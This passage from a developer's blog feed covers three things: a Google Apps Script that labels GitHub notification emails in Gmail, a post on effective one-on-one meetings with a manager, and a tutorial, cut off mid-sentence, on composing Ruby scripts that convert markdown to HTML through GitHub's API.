        <span class="pl-kos">}</span> <span class="pl-k">else</span> <span class="pl-k">if</span> <span class="pl-kos">(</span><span class="pl-s1">body</span><span class="pl-kos">.</span><span class="pl-en">indexOf</span><span class="pl-kos">(</span><span class="pl-s">"X-GitHub-Reason: team_mention"</span><span class="pl-kos">)</span> <span class="pl-c1">&gt;</span> <span class="pl-c1">-</span><span class="pl-c1">1</span><span class="pl-kos">)</span> <span class="pl-kos">{</span>
          <span class="pl-k">return</span> <span class="pl-s1">thread</span><span class="pl-kos">.</span><span class="pl-en">addLabel</span><span class="pl-kos">(</span><span class="pl-v">GmailApp</span><span class="pl-kos">.</span><span class="pl-en">getUserLabelByName</span><span class="pl-kos">(</span><span class="pl-s">"Team mention"</span><span class="pl-kos">)</span><span class="pl-kos">)</span><span class="pl-kos">;</span>
        <span class="pl-kos">}</span> <span class="pl-k">else</span> <span class="pl-kos">{</span>
          <span class="pl-k">return</span> <span class="pl-s1">thread</span><span class="pl-kos">.</span><span class="pl-en">addLabel</span><span class="pl-kos">(</span><span class="pl-v">GmailApp</span><span class="pl-kos">.</span><span class="pl-en">getUserLabelByName</span><span class="pl-kos">(</span><span class="pl-s">"Notification"</span><span class="pl-kos">)</span><span class="pl-kos">)</span><span class="pl-kos">;</span>
        <span class="pl-kos">}</span>
      <span class="pl-kos">}</span>
    <span class="pl-kos">}</span>
  <span class="pl-kos">}</span>
<span class="pl-kos">}</span></pre></div>
<div class="markdown-heading"><h2 class="heading-element">Changes</h2><a id="user-content-changes" class="anchor" aria-label="Permalink: Changes" href="#changes"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p><strong>Exit early when there are no threads to process</strong></p>
<p>This fixes timeout and resource exhaustion errors. Google has limits on how much
resources a script can take per run.</p>
<p><strong>Apply label by priority</strong></p>
<p>Rather than matching every GitHub header, this script applies the most important
label to a thread. I check my messages in this order:</p>
<ul>
<li>Direct Mention</li>
<li>Partcipating</li>
<li>Team mention</li>
<li>Notification</li>
</ul>
<p>This script assumes "Direct Mention", "Participating", "Team mention", and
"Notification" labels exist. <a href="https://developers.google.com/apps-script/reference/gmail/gmail-app#createLabel(String)" rel="nofollow">Labels can be created
programmatically</a>,
but I decided it was not worthwhile for such a simple script.</p>
<p><strong>Process newest messages first</strong></p>
<p>By processing newest messages first, threads will always have the highest
priority label applied. This is also good for performance because the script
stops processing a thread as soon as we label one of it's messages.</p>
<p><strong>Archive notification emails only</strong></p>
<p>Other GitHub emails should still pass through.</p>
<div class="markdown-heading"><h2 class="heading-element">2016-04-7 Update</h2><a id="user-content-2016-04-7-update" class="anchor" aria-label="Permalink: 2016-04-7 Update" href="#2016-04-7-update"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>The latest version does even less processing to reduce time outs.</p>
<div class="highlight highlight-source-js"><pre><span class="pl-c">// Modified from http://lyzidiamond.com/posts/github-notifications-google-script/</span>

<span class="pl-c">// Assumes incoming threads from notifications<span class="pl-k">@github</span>.com are labeled with `unprocessed`.</span>

<span class="pl-k">function</span> <span class="pl-en">perf</span><span class="pl-kos">(</span><span class="pl-s1">start</span><span class="pl-kos">)</span> <span class="pl-kos">{</span>
  <span class="pl-v">Logger</span><span class="pl-kos">.</span><span class="pl-en">log</span><span class="pl-kos">(</span><span class="pl-s">"Execution time: "</span> <span class="pl-c1">+</span> <span class="pl-kos">(</span><span class="pl-v">Date</span><span class="pl-kos">.</span><span class="pl-en">now</span><span class="pl-kos">(</span><span class="pl-kos">)</span> <span class="pl-c1">-</span> <span class="pl-s1">start</span><span class="pl-kos">)</span> <span class="pl-c1">+</span> <span class="pl-s">" ms"</span><span class="pl-kos">)</span><span class="pl-kos">;</span>
<span class="pl-kos">}</span>

<span class="pl-k">function</span> <span class="pl-en">processInbox</span><span class="pl-kos">(</span><span class="pl-kos">)</span> <span class="pl-kos">{</span>
  <span class="pl-k">var</span> <span class="pl-s1">startTime</span> <span class="pl-c1">=</span> <span class="pl-v">Date</span><span class="pl-kos">.</span><span class="pl-en">now</span><span class="pl-kos">(</span><span class="pl-kos">)</span><span class="pl-kos">;</span>
  <span class="pl-k">var</span> <span class="pl-s1">directMentionRegexp</span> <span class="pl-c1">=</span> <span class="pl-pds"><span class="pl-c1">/</span><span class="pl-s">@</span><span class="pl-s">j</span><span class="pl-s">c</span><span class="pl-s">h</span><span class="pl-cce">\b</span><span class="pl-c1">/</span></span><span class="pl-kos">;</span>
  <span class="pl-k">var</span> <span class="pl-s1">teamRegexp</span> <span class="pl-c1">=</span> <span class="pl-pds"><span class="pl-c1">/</span><span class="pl-s">@</span><span class="pl-s">g</span><span class="pl-s">i</span><span class="pl-s">t</span><span class="pl-s">h</span><span class="pl-s">u</span><span class="pl-s">b</span><span class="pl-cce">\/</span><span class="pl-kos">(</span><span class="pl-s">g</span><span class="pl-s">i</span><span class="pl-s">t</span><span class="pl-s">h</span><span class="pl-s">u</span><span class="pl-s">b</span><span class="pl-c1">|</span><span class="pl-s">t</span><span class="pl-s">e</span><span class="pl-s">s</span><span class="pl-s">t</span><span class="pl-s">s</span><span class="pl-c1">|</span><span class="pl-s">o</span><span class="pl-s">t</span><span class="pl-s">h</span><span class="pl-s">e</span><span class="pl-s">r</span><span class="pl-s">-</span><span class="pl-s">t</span><span class="pl-s">e</span><span class="pl-s">a</span><span class="pl-s">m</span><span class="pl-s">s</span><span class="pl-kos">)</span><span class="pl-cce">\b</span><span class="pl-c1">/</span></span><span class="pl-kos">;</span>

  <span class="pl-k">var</span> <span class="pl-s1">unprocessedLabel</span> <span class="pl-c1">=</span> <span class="pl-v">GmailApp</span><span class="pl-kos">.</span><span class="pl-en">getUserLabelByName</span><span class="pl-kos">(</span><span class="pl-s">'unprocessed'</span><span class="pl-kos">)</span><span class="pl-kos">;</span>
  <span class="pl-k">var</span> <span class="pl-s1">directMentionLabel</span> <span class="pl-c1">=</span> <span class="pl-v">GmailApp</span><span class="pl-kos">.</span><span class="pl-en">getUserLabelByName</span><span class="pl-kos">(</span><span class="pl-s">'Direct Mention'</span><span class="pl-kos">)</span><span class="pl-kos">;</span>
  <span class="pl-k">var</span> <span class="pl-s1">teamMentionLabel</span> <span class="pl-c1">=</span> <span class="pl-v">GmailApp</span><span class="pl-kos">.</span><span class="pl-en">getUserLabelByName</span><span class="pl-kos">(</span><span class="pl-s">'Team mention'</span><span class="pl-kos">)</span><span class="pl-kos">;</span>
  <span class="pl-k">var</span> <span class="pl-s1">notificationLabel</span> <span class="pl-c1">=</span> <span class="pl-v">GmailApp</span><span class="pl-kos">.</span><span class="pl-en">getUserLabelByName</span><span class="pl-kos">(</span><span class="pl-s">"Notification"</span><span class="pl-kos">)</span><span class="pl-kos">;</span>

  <span class="pl-k">var</span> <span class="pl-s1">threads</span> <span class="pl-c1">=</span> <span class="pl-v">GmailApp</span><span class="pl-kos">.</span><span class="pl-en">search</span><span class="pl-kos">(</span><span class="pl-s">'label:unprocessed'</span><span class="pl-kos">)</span><span class="pl-kos">;</span>

  <span class="pl-v">Logger</span><span class="pl-kos">.</span><span class="pl-en">log</span><span class="pl-kos">(</span><span class="pl-s">"Processing "</span> <span class="pl-c1">+</span> <span class="pl-s1">threads</span><span class="pl-kos">.</span><span class="pl-c1">length</span> <span class="pl-c1">+</span> <span class="pl-s">" threads"</span><span class="pl-kos">)</span><span class="pl-kos">;</span>

  <span class="pl-k">for</span> <span class="pl-kos">(</span><span class="pl-k">var</span> <span class="pl-s1">i</span> <span class="pl-c1">=</span> <span class="pl-c1">0</span><span class="pl-kos">;</span> <span class="pl-s1">i</span> <span class="pl-c1">&lt;</span> <span class="pl-s1">threads</span><span class="pl-kos">.</span><span class="pl-c1">length</span><span class="pl-kos">;</span> <span class="pl-s1">i</span><span class="pl-c1">++</span><span class="pl-kos">)</span> <span class="pl-kos">{</span>
    <span class="pl-c">// Remove the `unprocessed` label, it'll be re-labeled again if a new message comes in</span>
    <span class="pl-k">var</span> <span class="pl-s1">thread</span> <span class="pl-c1">=</span> <span class="pl-s1">threads</span><span class="pl-kos">[</span><span class="pl-s1">i</span><span class="pl-kos">]</span><span class="pl-kos">;</span>
    <span class="pl-s1">thread</span><span class="pl-kos">.</span><span class="pl-en">removeLabel</span><span class="pl-kos">(</span><span class="pl-s1">unprocessedLabel</span><span class="pl-kos">)</span><span class="pl-kos">;</span>

    <span class="pl-c">// Thread is already labeled, no need to process further</span>
    <span class="pl-k">var</span> <span class="pl-s1">labels</span> <span class="pl-c1">=</span> <span class="pl-s1">thread</span><span class="pl-kos">.</span><span class="pl-en">getLabels</span><span class="pl-kos">(</span><span class="pl-kos">)</span><span class="pl-kos">;</span>
    <span class="pl-k">if</span> <span class="pl-kos">(</span><span class="pl-s1">labels</span><span class="pl-kos">.</span><span class="pl-en">includes</span><span class="pl-kos">(</span><span class="pl-s1">directMentionLabel</span><span class="pl-kos">)</span> <span class="pl-c1">||</span> <span class="pl-s1">labels</span><span class="pl-kos">.</span><span class="pl-en">includes</span><span class="pl-kos">(</span><span class="pl-s1">teamMentionLabel</span><span class="pl-kos">)</span><span class="pl-kos">)</span> <span class="pl-kos">{</span>
      <span class="pl-k">continue</span><span class="pl-kos">;</span>
    <span class="pl-kos">}</span>

    <span class="pl-c">// Iterate through newest messages, exiting if a label was added to the thread.</span>
    <span class="pl-c">// Only one label will be added, and they are listed in priority below.</span>
    <span class="pl-k">var</span> <span class="pl-s1">messages</span> <span class="pl-c1">=</span> <span class="pl-s1">thread</span><span class="pl-kos">.</span><span class="pl-en">getMessages</span><span class="pl-kos">(</span><span class="pl-kos">)</span><span class="pl-kos">;</span>
    <span class="pl-k">var</span> <span class="pl-s1">start</span> <span class="pl-c1">=</span> <span class="pl-v">Math</span><span class="pl-kos">.</span><span class="pl-en">max</span><span class="pl-kos">(</span><span class="pl-c1">0</span><span class="pl-kos">,</span> <span class="pl-s1">messages</span><span class="pl-kos">.</span><span class="pl-c1">length</span> <span class="pl-c1">-</span> <span class="pl-c1">1</span><span class="pl-kos">)</span><span class="pl-kos">;</span>
    <span class="pl-k">var</span> <span class="pl-s1">label</span><span class="pl-kos">;</span>
    <span class="pl-k">for</span> <span class="pl-kos">(</span><span class="pl-k">var</span> <span class="pl-s1">j</span> <span class="pl-c1">=</span> <span class="pl-s1">start</span><span class="pl-kos">;</span> <span class="pl-s1">j</span> <span class="pl-c1">&gt;</span> <span class="pl-c1">-</span><span class="pl-c1">1</span><span class="pl-kos">;</span> <span class="pl-s1">j</span><span class="pl-c1">--</span><span class="pl-kos">)</span> <span class="pl-kos">{</span>
      <span class="pl-k">var</span> <span class="pl-s1">message</span> <span class="pl-c1">=</span> <span class="pl-s1">messages</span><span class="pl-kos">[</span><span class="pl-s1">j</span><span class="pl-kos">]</span><span class="pl-kos">;</span>

      <span class="pl-k">if</span> <span class="pl-kos">(</span><span class="pl-c1">!</span><span class="pl-s1">message</span><span class="pl-kos">.</span><span class="pl-en">isUnread</span><span class="pl-kos">(</span><span class="pl-kos">)</span><span class="pl-kos">)</span> <span class="pl-kos">{</span>
        <span class="pl-k">break</span><span class="pl-kos">;</span> <span class="pl-c">// remaining messages have been processed before</span>
      <span class="pl-kos">}</span>

      <span class="pl-k">var</span> <span class="pl-s1">body</span> <span class="pl-c1">=</span> <span class="pl-s1">message</span><span class="pl-kos">.</span><span class="pl-en">getPlainBody</span><span class="pl-kos">(</span><span class="pl-kos">)</span><span class="pl-kos">;</span>
      <span class="pl-k">if</span> <span class="pl-kos">(</span><span class="pl-s1">directMentionRegexp</span><span class="pl-kos">.</span><span class="pl-en">test</span><span class="pl-kos">(</span><span class="pl-s1">body</span><span class="pl-kos">)</span><span class="pl-kos">)</span> <span class="pl-kos">{</span>
        <span class="pl-s1">thread</span><span class="pl-kos">.</span><span class="pl-en">addLabel</span><span class="pl-kos">(</span><span class="pl-s1">directMentionLabel</span><span class="pl-kos">)</span><span class="pl-kos">;</span>
        <span class="pl-k">break</span><span class="pl-kos">;</span>
      <span class="pl-kos">}</span> <span class="pl-k">else</span> <span class="pl-k">if</span> <span class="pl-kos">(</span><span class="pl-s1">teamRegexp</span><span class="pl-kos">.</span><span class="pl-en">test</span><span class="pl-kos">(</span><span class="pl-s1">body</span><span class="pl-kos">)</span><span class="pl-kos">)</span> <span class="pl-kos">{</span>
        <span class="pl-s1">thread</span><span class="pl-kos">.</span><span class="pl-en">addLabel</span><span class="pl-kos">(</span><span class="pl-s1">teamMentionLabel</span><span class="pl-kos">)</span><span class="pl-kos">;</span>
        <span class="pl-k">break</span><span class="pl-kos">;</span>
      <span class="pl-kos">}</span> <span class="pl-k">else</span> <span class="pl-kos">{</span>
        <span class="pl-s1">thread</span><span class="pl-kos">.</span><span class="pl-en">addLabel</span><span class="pl-kos">(</span><span class="pl-s1">notificationLabel</span><span class="pl-kos">)</span><span class="pl-kos">;</span>
      <span class="pl-kos">}</span>
    <span class="pl-kos">}</span>
    <span class="pl-en">perf</span><span class="pl-kos">(</span><span class="pl-s1">startTime</span><span class="pl-kos">)</span><span class="pl-kos">;</span>
  <span class="pl-kos">}</span>

  <span class="pl-en">perf</span><span class="pl-kos">(</span><span class="pl-s1">startTime</span><span class="pl-kos">)</span><span class="pl-kos">;</span>
<span class="pl-kos">}</span></pre></div>
  ]]></description>
</item>

<item>
  <title>How to have an effective one on one</title>
  <link>https://jch.github.io/posts/2016-01-14-how-to-have-effective-one-on-ones.html
</link>
  <guid>https://jch.github.io/posts/2016-01-14-how-to-have-effective-one-on-ones.html
</guid>
  <pubDate>Thu, 14 Jan 2016 00:00:00 -0800</pubDate>
  <description><![CDATA[
<p>I have half hour weekly one on one meetings with my manager, Dave. We usually
talk about work, life, and career goals. Before these meetings, I felt
uncomfortable to give or ask for feedback without implying something was wrong.
These regular and short meetings also allow us to highlight achievements, and to
bring up small concerns before they grow into large ones.</p>
<p>Although we meet regularly, here are a few things I do to make the most of these
meetings.</p>
<div class="markdown-heading"><h2 class="heading-element">Write an agenda</h2><a id="user-content-write-an-agenda" class="anchor" aria-label="Permalink: Write an agenda" href="#write-an-agenda"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Before each meeting, I spend roughly 15 minutes preparing a simple bullet point
list of topics I want to cover. This agenda gives Dave a preview, and a chance
to gather relevant information. It's also useful during the meeting as an
outline. I usually include:</p>
<ul>
<li>a review last week's meeting</li>
<li>high level accomplishments</li>
<li>recognition for team members that are doing a great job</li>
<li>questions</li>
<li>reminders about upcoming events</li>
</ul>
<div class="markdown-heading"><h2 class="heading-element">Take notes</h2><a id="user-content-take-notes" class="anchor" aria-label="Permalink: Take notes" href="#take-notes"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>I like to jot down notes as we talk. I write down things I find useful or want
to think about after the meeting. Some examples include feedback about ways I
can improve, feedback about how my manager could make my project run smoother,
and things that are happening outside of my project that's relevant to my
interests. It's a good time to discover new projects and opportunities. I find
that the agenda will often trigger us to share bits of useful information that
would've otherwise gone unmentioned.</p>
<div class="markdown-heading"><h2 class="heading-element">Call out action items</h2><a id="user-content-call-out-action-items" class="anchor" aria-label="Permalink: Call out action items" href="#call-out-action-items"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Before we end a meeting, we talk about things that need follow up. It could be
an idea that needs more research, or it could be coordinating schedules for a
team offsite. Whatever these may be, we decide who is responsible, and when it
needs to be done.</p>
<div class="markdown-heading"><h2 class="heading-element">Review and follow up</h2><a id="user-content-review-and-follow-up" class="anchor" aria-label="Permalink: Review and follow up" href="#review-and-follow-up"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>After each meeting, I dump my notes into a email reply for review at the
following meeting. Dedicated review time is great because we know we'll revisit
things the following week, so there's no need to waste brain cycles worrying
during the week.</p>
<div class="markdown-heading"><h2 class="heading-element">Build a relationship</h2><a id="user-content-build-a-relationship" class="anchor" aria-label="Permalink: Build a relationship" href="#build-a-relationship"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Dave and I have gotten to know each other better through these one on ones. Even
with an agenda, they feel casual and easy going. We live in different cities, so
most of our meetings happen over video chat, but when we are in the same place,
we like to do go for a walk or have a chat over coffee.</p>
<p>Learning about the other person's goals and background subtly shapes our
interactions. Over time, we build up our trust in each other, and become more
effective in our day to day work. We get a better sense of the other person's
communication styles, and also what they're looking for.</p>
<div class="markdown-heading"><h2 class="heading-element">Better one on ones</h2><a id="user-content-better-one-on-ones" class="anchor" aria-label="Permalink: Better one on ones" href="#better-one-on-ones"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>It's easy to take one on ones for granted. But with some attention and care,
effective one on ones are a great tool for your career. Agendas and notes keeps
everyone focused, while review and follow up prevents things from being
forgotten or neglected. Over time, these meetings become an open and safe place
to talk about long term goals.</p>
  ]]></description>
</item>

<item>
  <title>Building reusable Ruby scripts</title>
  <link>https://jch.github.io/posts/2016-01-02-building-reusable-ruby-scripts.html
</link>
  <guid>https://jch.github.io/posts/2016-01-02-building-reusable-ruby-scripts.html
</guid>
  <pubDate>Sat, 02 Jan 2016 00:00:00 -0800</pubDate>
  <description><![CDATA[
<blockquote>
<p>Write programs that do one thing and do it well. Write programs to work
together. Write programs to handle text streams, because that is a universal
interface. -Doug McIlroy, Inventor of Unix pipe</p>
</blockquote>
<p>This post illustrates some of the ideas behind the <a href="https://en.wikipedia.org/wiki/Unix_philosophy" rel="nofollow">Unix
philosophy</a> by composing
utilities together to convert Markdown to HTML. I chose Ruby because it's a
language I'm familiar with, but also to show that shell scripting does not
require bash. The main idea is to write small filter scripts that can be
composed together with pipes to create flexible tools.</p>
<div class="markdown-heading"><h2 class="heading-element">Making an executable Ruby script</h2><a id="user-content-making-an-executable-ruby-script" class="anchor" aria-label="Permalink: Making an executable Ruby script" href="#making-an-executable-ruby-script"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Typically, Ruby files end with a <code>.rb</code> extension and are executed by invoking
the Ruby interpreter explicitly. But instead typing out <code>ruby markdown.rb</code> each
time, we can use a <a href="https://en.wikipedia.org/wiki/Shebang_(Unix)" rel="nofollow">shebang</a> at
the top of our script to indicate which language and interpreter to use.</p>
<div class="highlight highlight-source-ruby"><pre><span class="pl-c">#/usr/bin/env ruby</span>
<span class="pl-c"># This first line allows us to name our script `markdown` without the .rb extension</span></pre></div>
<p>To skip invoking <code>ruby</code> explicitly, use a terminal to change the permission of
our script to make it executable:</p>
<div class="highlight highlight-source-shell"><pre>$ chmod +x markdown
$ ./markdown  <span class="pl-c"><span class="pl-c">#</span> no output and no errors</span></pre></div>
<div class="markdown-heading"><h2 class="heading-element">Parsing command line arguments</h2><a id="user-content-parsing-command-line-arguments" class="anchor" aria-label="Permalink: Parsing command line arguments" href="#parsing-command-line-arguments"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>For the first iteration, our script will take a single argument -- a filename of
a markdown document to convert to html. Command line arguments are available
through an Array named <code>ARGV</code>.</p>
<div class="highlight highlight-source-ruby"><pre><span class="pl-c">#/usr/bin/env ruby</span>
<span class="pl-s1">markdown_file</span> <span class="pl-c1">=</span> <span class="pl-c1">ARGV</span><span class="pl-kos">.</span><span class="pl-en">first</span> <span class="pl-c"># ARGV is ['foo.md']</span>
<span class="pl-en">puts</span> <span class="pl-s1">markdown_file</span></pre></div>
<p>If we run our script, we see that ARGV is whatever arguments we pass in:</p>
<div class="highlight highlight-source-shell"><pre>$ ./markdown foo.md
foo.md</pre></div>
<p>Other languages sometimes provide a convenience method named <code>ARGC</code> to indicate
the number of command line arguments ((ARG)ument (C)ount) , but since <code>ARGV</code> is
an array, it's easy to grab the number of arguments by calling <code>ARGV.length</code>.</p>
<p>For a simple script like ours, it's sufficient to work with ARGV directly. If
there are complex options and flags to parse, the standard library's <code>optparse</code>
module is a good starting point. This
<a href="https://gist.github.com/rtomayko/1190547">gist</a> is a template and an example
for parsing conventional POSIX style flags.</p>
<div class="markdown-heading"><h2 class="heading-element">An example Unix pipe</h2><a id="user-content-an-example-unix-pipe" class="anchor" aria-label="Permalink: An example Unix pipe" href="#an-example-unix-pipe"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>We have a markdown filename. The next step is to convert it to HTML. There are
many gems that will accomplish this, but for the sake of the exercise, we don't
install any gems. Instead, we can use GitHub's <a href="https://developer.github.com/v3/markdown/">markdown
API</a> with curl. For example:</p>
<div class="highlight highlight-source-shell"><pre>$ <span class="pl-c1">echo</span> <span class="pl-s"><span class="pl-pds">'</span>{"text": "# header"}<span class="pl-pds">'</span></span> <span class="pl-k">|</span> curl -s -H <span class="pl-s"><span class="pl-pds">'</span>Content-Type: text/plain<span class="pl-pds">'</span></span> https://api.github.com/markdown -d<span class="pl-s"><span class="pl-pds">'</span>@-<span class="pl-pds">'</span></span></pre></div>
<p>The first half of the pipeline uses <code>echo</code> to print a JSON snippet to stdout. We
pipe this output to <code>curl</code>. The last argument <code>-d'@-'</code> is how we send the stdin
data to GitHub. From <code>curl</code>'s man page:</p>
<blockquote>
<p>-d, --data
If you start the data with the letter @, the rest should be a file name to
read the data from, or - if you want curl to read the data from stdin.</p>
</blockquote>
<p><code>-s</code> makes <code>curl</code>'s output less noisy, and <code>-H</code> lets us pass in custom HTTP
headers required by the API.</p>
<p>Our script's immediate goal is to produce JSON similar to the <code>echo</code> command in
our example above. Again, we do not need an external library because <code>json</code> is
available through the standard library:</p>
<div class="highlight highlight-source-ruby"><pre><span class="pl-c">#/usr/bin/env ruby</span>
<span class="pl-en">require</span> <span class="pl-s">"json"</span>

<span class="pl-s1">markdown_file</span> <span class="pl-c1">=</span> <span class="pl-c1">ARGV</span><span class="pl-kos">.</span><span class="pl-en">first</span>
<span class="pl-s1">payload</span> <span class="pl-c1">=</span> <span class="pl-kos">{</span> <span class="pl-pds">:text</span> <span class="pl-c1">=&gt;</span> <span class="pl-v">File</span><span class="pl-kos">.</span><span class="pl-en">read</span><span class="pl-kos">(</span><span class="pl-s1">markdown_file</span><span class="pl-kos">)</span> <span class="pl-kos">}</span><span class="pl-kos">.</span><span class="pl-en">to_json</span>

<span class="pl-en">puts</span> <span class="pl-s1">payload</span></pre></div>
<p>We can test this works as expected by executing:</p>
<div class="highlight highlight-source-shell"><pre>$ <span class="pl-c1">echo</span> <span class="pl-s"><span class="pl-pds">"</span># header<span class="pl-pds">"</span></span> <span class="pl-k">&gt;</span> foo.md
$ ./markdown foo.md <span class="pl-k">|</span> curl -s -H <span class="pl-s"><span class="pl-pds">'</span>Content-Type: text/plain<span class="pl-pds">'</span></span> https://api.github.com/markdown -d<span class="pl-s"><span class="pl-pds">'</span>@-<span class="pl-pds">'</span></span>
<span class="pl-k">&lt;</span>h<span class="pl-k">1&gt;</span>header<span class="pl-k">&lt;</span>/h<span class="pl-k">1&gt;</span></pre></div>
<div class="markdown-heading"><h2 class="heading-element">Piping to other processes in Ruby</h2><a id="user-content-piping-to-other-processes-in-ruby" class="anchor" aria-label="Permalink: Piping to other processes in Ruby" href="#piping-to-other-processes-in-ruby"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>With our prepared JSON payload, our next step is to handle the pipe within our
script. Ruby's <code>IO.pipe</code> is a general way of creating a connected read and write
pipes, but for our purposes, we're interested in the higher abstraction of the
<code>open3</code> module:</p>
<div class="highlight highlight-source-ruby"><pre><span class="pl-c">#/usr/bin/env ruby</span>
<span class="pl-en">require</span> <span class="pl-s">"json"</span>
<span class="pl-en">require</span> <span class="pl-s">"open3"</span>

<span class="pl-s1">markdown_file</span> <span class="pl-c1">=</span> <span class="pl-c1">ARGV</span><span class="pl-kos">.</span><span class="pl-en">first</span>
<span class="pl-s1">payload</span> <span class="pl-c1">=</span> <span class="pl-kos">{</span> <span class="pl-pds">:text</span> <span class="pl-c1">=&gt;</span> <span class="pl-v">File</span><span class="pl-kos">.</span><span class="pl-en">read</span><span class="pl-kos">(</span><span class="pl-s1">markdown_file</span><span class="pl-kos">)</span> <span class="pl-kos">}</span><span class="pl-kos">.</span><span class="pl-en">to_json</span>

<span class="pl-s1">curl_cmd</span> <span class="pl-c1">=</span> <span class="pl-s">%Q(curl -s -H 'Content-Type: text/plain' https://api.github.com/markdown -d'@-')</span>

<span class="pl-c"># `stdin`, `stdout`, `stderr` are the respective file handlers for the curl command</span>
<span class="pl-s1">stdin</span><span class="pl-kos">,</span> <span class="pl-s1">stdout</span><span class="pl-kos">,</span> <span class="pl-s1">stderr</span> <span class="pl-c1">=</span> <span class="pl-v">Open3</span><span class="pl-kos">.</span><span class="pl-en">popen3</span><span class="pl-kos">(</span><span class="pl-s1">curl_cmd</span><span class="pl-kos">)</span>

<span class="pl-c"># Take the json we built and give it to curl via it's stdin. We have to</span>
<span class="pl-c"># explicitly close it's stdin before we can access it's stdout. Otherwise, curl</span>
<span class="pl-c"># will keep waiting for more input.</span>
<span class="pl-s1">stdin</span><span class="pl-kos">.</span><span class="pl-en">puts</span> <span class="pl-s1">payload</span>
<span class="pl-s1">stdin</span><span class="pl-kos">.</span><span class="pl-en">close</span>

<span class="pl-c"># Print out curl's output to stdout and stderr</span>
<span class="pl-en">puts</span> <span class="pl-s1">stdout</span><span class="pl-kos">.</span><span class="pl-en">read</span>
$stderr<span class="pl-kos">.</span><span class="pl-en">puts</span> <span class="pl-s1">stderr</span><span class="pl-kos">.</span><span class="pl-en">read</span></pre></div>
<p>Let's try it out:</p>
<div class="highlight highlight-source-shell"><pre>$ <span class="pl-c1">echo</span> <span class="pl-s"><span class="pl-pds">"</span># header<span class="pl-pds">"</span></span> <span class="pl-k">&gt;</span> foo.md
$ ./markdown foo.md
<span class="pl-k">&lt;</span>h<span class="pl-k">1&gt;</span>header<span class="pl-k">&lt;</span>/h<span class="pl-k">1&gt;</span></pre></div>
<div class="markdown-heading"><h2 class="heading-element">Default to processing stdin</h2><a id="user-content-default-to-processing-stdin" class="anchor" aria-label="Permalink: Default to processing stdin" href="#default-to-processing-stdin"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>In our last example, we had to create a markdown file because our script expects
a filename as an argument. The great thing about most Unix utilities is they
default to operating on stdin and stdout. This makes it easy to chain commands
together so that the stdout of one command flows into the stdin of the next. For
example, both of the following commands will print the number of lines in a
file:</p>
<div class="highlight highlight-source-shell"><pre><span class="pl-c"><span class="pl-c">#</span> count the number of lines for a given filename</span>
$ wc -l README.md

<span class="pl-c"><span class="pl-c">#</span> print out the file, then count the number of the lines on stdin</span>
$ cat README.md <span class="pl-k">|</span> wc -l</pre></div>
<p>We can improve our markdown script with this behavior; Convert a file if a file
name is given, or convert whatever is passed in via stdin if there are no
arguments.</p>
<div class="highlight highlight-source-ruby"><pre><span class="pl-c">#/usr/bin/env ruby</span>
<span class="pl-en">require</span> <span class="pl-s">"json"</span>

<span class="pl-s1">markdown_file</span> <span class="pl-c1">=</span> <span class="pl-c1">ARGV</span><span class="pl-kos">.</span><span class="pl-en">first</span>
<span class="pl-s1">markdown_content</span> <span class="pl-c1">=</span> <span class="pl-s1">markdown_file</span> ? <span class="pl-v">File</span><span class="pl-kos">.</span><span class="pl-en">read</span><span class="pl-kos">(</span><span class="pl-s1">markdown_file</span><span class="pl-kos">)</span> : $stdin<span class="pl-kos">.</span><span class="pl-en">read</span>
<span class="pl-s1">payload</span> <span class="pl-c1">=</span> <span class="pl-kos">{</span> <span class="pl-pds">:text</span> <span class="pl-c1">=&gt;</span> <span class="pl-s1">markdown_content</span> <span class="pl-kos">}</span><span class="pl-kos">.</span><span class="pl-en">to_json</span>

<span class="pl-c"># snip</span></pre></div>
<p>We can simplify this code further by using Ruby's <code>ARGF</code> object. From the
docs:</p>
<blockquote>
<p>ARGF is a stream designed for use in scripts that process files given as
command-line arguments or passed in via STDIN.</p>
</blockquote>
<p>The same code rewritten with <code>ARGF</code> would look like:</p>
<div class="highlight highlight-source-ruby"><pre><span class="pl-c">#/usr/bin/env ruby</span>
<span class="pl-en">require</span> <span class="pl-s">"json"</span>

<span class="pl-s1">markdown_content</span> <span class="pl-c1">=</span> <span class="pl-c1">ARGF</span><span class="pl-kos">.</span><span class="pl-en">read</span>
<span class="pl-s1">payload</span> <span class="pl-c1">=</span> <span class="pl-kos">{</span> <span class="pl-pds">:text</span> <span class="pl-c1">=&gt;</span> <span class="pl-s1">markdown_content</span> <span class="pl-kos">}</span><span class="pl-kos">.</span><span class="pl-en">to_json</span>

<span class="pl-c"># snip</span></pre></div>
<p>As an added bonus, <code>ARGF</code> works on multiple filenames, allowing our script to
process multiple files at once:</p>
<div class="highlight highlight-source-shell"><pre><span class="pl-c"><span class="pl-c">#</span> ARGF.read will read in all 3 files</span>
$ ./markdown foo.md bar.md baz.md</pre></div>
<div class="markdown-heading"><h2 class="heading-element">Keep stdout on topic</h2><a id="user-content-keep-stdout-on-topic" class="anchor" aria-label="Permalink: Keep stdout on topic" href="#keep-stdout-on-topic"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>The complement to processing stdin by default is to keep stdout on topic. Stdout
should be reserved only for the intent of the original script. In our script,
the only output should be HTML because the script is used to convert markdown to
HTML. We avoid logging diagnostic messages or printing progress counters unless
we decide to add flags to our script that support these features. This allows us
to easily chain more commands after our own script. For example, if we want to
indent the output from our command, we can use the <code>tidy</code> command and know that
everything we output is HTML:</p>
<div class="highlight highlight-source-shell"><pre>$ ./markdown.sh foo.md <span class="pl-k">|</span> tidy -i</pre></div>
<div class="markdown-heading"><h2 class="heading-element">Exit with an appropriate code</h2><a id="user-content-exit-with-an-appropriate-code" class="anchor" aria-label="Permalink: Exit with an appropriate code" href="#exit-with-an-appropriate-code"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Script exit codes allow us to control the flow of our pipelines. For example, we
may want to publish the results of running <code>markdown</code>, but only if the command
